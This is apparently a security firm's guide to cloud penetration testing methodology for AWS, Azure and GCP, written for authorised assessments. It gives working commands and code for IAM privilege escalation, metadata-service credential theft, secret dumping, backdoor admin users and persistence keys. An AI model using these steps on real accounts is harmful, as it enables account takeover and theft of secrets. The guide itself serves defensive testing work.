Cloud penetration testing is fundamentally different from traditional infrastructure testing. The attack surface is not servers and firewalls — it’s IAM policies, service configurations, storage permissions, and the web of trust relationships between cloud services. An attacker who compromises a single Lambda function with overpermissioned IAM can achieve full AWS account takeover without touching a single EC2 instance.
Our cloud penetration testing service covers all three major cloud platforms using the methodology described in this guide. See also our AWS security assessment case study for a real-world example.
This guide covers the methodology, tooling, and most impactful attack techniques for testing AWS, Azure, and GCP environments — useful for security teams performing internal assessments and for understanding what a cloud pentest engagement should cover.
Why Cloud Testing Requires Different Skills
Traditional pentesting expertise — network scanning, web app exploitation, buffer overflows — transfers partially to cloud environments. But cloud testing requires additional domain knowledge:
- IAM complexity: AWS alone has 300+ services each with dozens of actions. Understanding which IAM permissions allow escalation, lateral movement, or data access requires deep knowledge.
- Service-specific attack surfaces: S3 ACLs, Lambda environment variables, ECS task roles, CloudFormation outputs, Secrets Manager policies — each service has unique misconfiguration patterns.
- No “shells” on managed services: Attacking an RDS database or S3 bucket doesn’t give you a shell — it gives you data. Pentesters must understand how to exfiltrate and demonstrate impact without traditional PoC payloads.
- API-first environment: Every action is an API call. Tools operate via cloud provider CLIs and APIs, not traditional network tools.
- Shared responsibility: You’re testing what the customer controls — not the cloud provider’s infrastructure.
Cloud Penetration Testing Scope
Define scope carefully before testing:
Our cloud security practice also provides continuous posture management alongside point-in-time testing.
Typical in-scope:
- IAM configuration (users, roles, policies, federation)
- Compute (EC2, Lambda, ECS, EKS, GCE, Azure VMs)
- Storage (S3, Azure Blob, GCS, EBS volumes, snapshots)
- Databases (RDS, DynamoDB, Azure SQL, Cloud SQL, Cosmos DB)
- Networking (VPCs, security groups, NACLs, peering, Transit Gateway)
- Serverless (Lambda, Azure Functions, Cloud Functions)
- Container platforms (EKS, AKS, GKE)
- Secrets management (Secrets Manager, Key Vault, Secret Manager)
- API gateways and service endpoints
Typical out-of-scope:
- Cloud provider infrastructure (AWS/Azure/GCP manage this)
- Other customers’ data (in shared/managed services)
- Availability-affecting attacks (no DDoS)
- Production data access beyond demonstrating the access is possible
Testing types:
- Grey box (most common): Tester is given initial access (an IAM user with some level of permissions) and attempts to escalate privilege, pivot, and access sensitive resources
- White box: Tester has full read access to all IAM policies, configurations, and architecture documentation — faster, more comprehensive
- Black box (external): Starting from zero, find external-facing attack surfaces — S3 buckets, API gateways, exposed EC2 instances
AWS Penetration Testing
Phase 1: Enumeration
Starting with initial credentials (an IAM user), enumerate what access is available:
# Identify the current identity
aws sts get-caller-identity
# List permissions (if allowed)
aws iam list-attached-user-policies --user-name test-user
aws iam list-user-policies --user-name test-user
# Enumerate IAM (what can we see?)
aws iam list-users
aws iam list-roles
aws iam list-groups
# Find attached policies on roles
aws iam list-attached-role-policies --role-name <role>
# Enumerate all accessible services (broad enumeration)
# Use Pacu or enumerate manually
Tools for AWS enumeration:
- Pacu — AWS exploitation framework with modules for enumeration, privilege escalation, persistence
- ScoutSuite — multi-cloud security auditing tool with comprehensive AWS coverage
- Prowler — AWS security best practices assessment
- enumerate-iam — enumerate permissions for current credentials
# Pacu — comprehensive AWS assessment
python3 pacu.py
> import_keys <access_key_id> <secret_key>
> run iam__enum_permissions
> run iam__enum_users_roles_policies_groups
> run s3__bucket_finder
Phase 2: IAM Privilege Escalation
IAM privilege escalation is the most critical class of AWS vulnerability. If an attacker can escalate from low-privilege to admin, they own the account.
Common escalation vectors:
1. iam:CreatePolicyVersion — overwrite a policy with admin access:
# If you have iam:CreatePolicyVersion, you can add admin permissions to any policy you can update
aws iam create-policy-version \
--policy-arn arn:aws:iam::ACCOUNT:policy/TargetPolicy \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
--set-as-default
2. iam:PassRole + lambda:CreateFunction + lambda:InvokeFunction:
# If you can pass a highly-privileged role to a Lambda function and invoke it:
# Create Lambda with admin role attached
import boto3
lambda_client = boto3.client('lambda')
code = """
import boto3
def handler(event, context):
iam = boto3.client('iam')
# Now running as the admin role — create admin user
iam.create_user(UserName='attacker')
iam.attach_user_policy(UserName='attacker', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
return "Done"
"""
# Zip and deploy, invoke to escalate
3. iam:CreateAccessKey — generate credentials for another user:
# If you can create access keys for any user, create keys for an admin user
aws iam create-access-key --user-name AdminUser
# → You now have admin credentials
4. sts:AssumeRole — assume a more-privileged role:
# Find roles you can assume (check trust policies for your account)
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument.Statement[?Principal.AWS]].{Name:RoleName,Trust:AssumeRolePolicyDocument.Statement[0].Principal.AWS}'
# Assume a privileged role
aws sts assume-role \
--role-arn arn:aws:iam::ACCOUNT:role/PrivilegedRole \
--role-session-name escalation-session
Tool: PACU + enumerate privilege escalation paths:
> run iam__privesc_scan
# Pacu automatically identifies and attempts privilege escalation paths
Tool: cloudsplaining, PMapper:
# PMapper — visualise IAM escalation paths as a graph
pmapper graph
pmapper query "preset privesc"
# Identifies all IAM privilege escalation paths from your current identity
Phase 3: Service-Specific Testing
EC2 Instance Metadata:
# If you have access to an EC2 instance, check the metadata service
# Potential for IMDSv1 → credential theft
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/InstanceRole
# These credentials can be extracted and used via AWS CLI:
export AWS_ACCESS_KEY_ID=<from metadata>
export AWS_SECRET_ACCESS_KEY=<from metadata>
export AWS_SESSION_TOKEN=<from metadata>
# → Now operating as the EC2 instance's IAM role
S3 Bucket Assessment:
# Find buckets (from enumeration)
aws s3api list-buckets --query 'Buckets[].Name'
# Check bucket ACLs and policies
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api get-bucket-policy --bucket <bucket-name>
# Check for public access configuration
aws s3api get-public-access-block --bucket <bucket-name>
# List contents (if readable)
aws s3 ls s3://<bucket-name>/ --recursive
# Look for sensitive files
aws s3 ls s3://<bucket-name>/ | grep -i "backup\|config\|creds\|key\|password\|secret"
Lambda Environment Variables:
# Lambda functions often store secrets in environment variables
aws lambda list-functions --query 'Functions[].[FunctionName,Runtime]'
# Dump all env vars for a function (may contain database passwords, API keys, etc.)
aws lambda get-function-configuration --function-name <function-name> \
--query 'Environment.Variables'
Secrets Manager and Parameter Store:
# List secrets
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id <secret-arn>
# SSM Parameter Store
aws ssm describe-parameters
aws ssm get-parameter --name /production/database/password --with-decryption
CloudFormation Outputs:
# CloudFormation stacks often output sensitive information
aws cloudformation describe-stacks --query 'Stacks[].Outputs'
# May contain: database endpoints, API keys, role ARNs, internal URLs
Phase 4: Lateral Movement and Persistence
Once elevated, demonstrate lateral movement and the ability to persist:
# Create a backdoor admin user (demonstrate persistence — delete before report unless client requests)
aws iam create-user --user-name audit-user-$(date +%s)
aws iam create-access-key --user-name audit-user-xxx
# Document this — don't leave it in place
# Cross-account access via role assumption (if trust allows)
aws sts assume-role \
--role-arn arn:aws:iam::OTHER_ACCOUNT:role/ReadRole \
--role-session-name cross-account-access
Azure Penetration Testing
Phase 1: Enumeration with Compromised Credentials
# Login to Azure CLI
az login --service-principal \
--username <app-id> \
--password <password> \
--tenant <tenant-id>
# Current identity
az account show
az ad signed-in-user show
# Enumerate subscriptions
az account list
# List all resources (what can we see?)
az resource list --query '[].{name:name, type:type, rg:resourceGroup}'
# Enumerate role assignments
az role assignment list --all --query '[].{role:roleDefinitionName, principal:principalName, scope:scope}'
# Enumerate service principals
az ad sp list --query '[].{name:displayName, appId:appId}'
Tools:
- ROADrecon — Microsoft 365 and Azure AD enumeration and attack
- BloodHound + AzureHound — attack path analysis for Azure AD
- ScoutSuite — multi-cloud assessment including Azure
- Stormspotter — Azure attack paths visualisation
Phase 2: Azure AD Privilege Escalation
Dangerous Azure AD permissions:
Global Administrator— full tenant controlPrivileged Role Administrator— can assign privileged rolesApplication Administrator— can add credentials to any appOwneron subscriptions — full resource control
Attack: Add credentials to an existing App Registration:
# If you have Application Administrator or Owner on an app:
az ad app credential reset --id <app-id> --append
# → Creates new client secret for existing application
# → If app has privileged permissions, you now have those permissions
Attack: Abuse managed identities:
# If you can execute code on an Azure VM or App Service with a managed identity:
# Call the IMDS to get a token
curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' \
-H "Metadata: true"
# Use the token to call ARM API as the managed identity
TOKEN=<from above>
curl -H "Authorization: Bearer $TOKEN" \
"https://management.azure.com/subscriptions/<sub>/resources?api-version=2021-04-01"
BloodHound / AzureHound for attack path analysis:
# Collect Azure AD data
./azurehound list -u <user> -p <pass> -t <tenant> -o azurehound-output.json
# Import to BloodHound, run attack path queries:
# "MATCH p=shortestPath((a:AZUser)-[*1..]->(b:AZGlobalAdmin)) RETURN p LIMIT 10"
Phase 3: Azure Service-Specific Testing
Azure Key Vault:
# If you have Key Vault access:
az keyvault list
az keyvault secret list --vault-name <vault>
az keyvault secret show --vault-name <vault> --name <secret>
Azure Storage:
# List storage accounts
az storage account list --query '[].name'
# Check for public containers
az storage container list --account-name <account> --auth-mode login
# Check SAS token generation (can you generate tokens?)
az storage blob generate-sas ...
Azure Functions / App Services:
# Get app settings (environment variables) — may contain secrets
az webapp config appsettings list --name <app> --resource-group <rg>
az functionapp config appsettings list --name <func> --resource-group <rg>
GCP Penetration Testing
Phase 1: Enumeration
# Authenticate with compromised service account key
gcloud auth activate-service-account --key-file=compromised-key.json
# Current identity
gcloud config list
# List projects
gcloud projects list
# Enumerate IAM bindings
gcloud projects get-iam-policy <project>
# List service accounts (can we impersonate any?)
gcloud iam service-accounts list
# List compute instances
gcloud compute instances list
# List storage buckets
gsutil ls
Tools:
- GCPBucketBrute — enumerate GCS buckets
- ScoutSuite — GCP audit
- GCP Workload Identity Federation abuse tools
Phase 2: GCP-Specific Attacks
Metadata server (SSRF → credential theft):
# From a compromised instance:
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
-H "Metadata-Flavor: Google"
# → Returns OAuth2 access token for the instance's service account
GCS bucket misconfiguration:
# Check public access (allUsers or allAuthenticatedUsers)
gsutil iam get gs://<bucket>
# If readable:
gsutil ls gs://<bucket>
gsutil cp gs://<bucket>/sensitive-file.txt .
# If writeable (more dangerous):
gsutil cp malicious-file.txt gs://<bucket>/
Service account key exposure:
# Service account keys in source code, env vars, or metadata
gcloud iam service-accounts keys list --iam-account=<sa-email>
# Create a new key (persistence)
gcloud iam service-accounts keys create ./key.json \
--iam-account=<sa-email>
Cloud Pentest Tools Summary
| Tool | Clouds | Purpose |
|---|---|---|
| Pacu | AWS | AWS exploitation framework |
| ScoutSuite | AWS, Azure, GCP | Multi-cloud security auditing |
| Prowler | AWS | CIS benchmark, security assessment |
| PMapper | AWS | IAM privilege escalation graph |
| ROADrecon | Azure, M365 | Azure AD enumeration and attack |
| AzureHound / BloodHound | Azure | Azure AD attack paths |
| GCPBucketBrute | GCP | GCS bucket enumeration |
| CloudMapper | AWS | AWS network visualisation |
| cloudsplaining | AWS | IAM policy analysis |
| Trivy | AWS/Azure/GCP | Cloud configuration scanning |
Cloud Penetration Test Deliverables
A professional cloud pentest report should include:
Executive summary: Overall cloud security posture, key risk themes, highest-impact findings in business language.
Technical findings (for each finding):
- Vulnerability title and severity
- Affected resource (ARN, resource ID)
- Attack path — how was it discovered and how would an attacker exploit it?
- Business impact — what data or capabilities could be accessed/affected?
- Remediation — specific IAM policy changes, configuration fixes, or architectural changes
IAM risk analysis: A summary of the most dangerous IAM privilege escalation paths discovered.
Attack narrative: A story of the tester’s highest-impact attack chain — from initial access through to maximum privilege.
Remediation roadmap: Prioritised by severity with specific commands or policy changes.
CyberneticsPlus conducts cloud penetration testing on AWS, Azure, and GCP. Our testers hold AWS Security Specialty, Azure Security Engineer, and other cloud certifications, combined with offensive security expertise (OSCP, LPT). Read our AWS security assessment case study to see the methodology in action, or contact us to scope your cloud penetration test.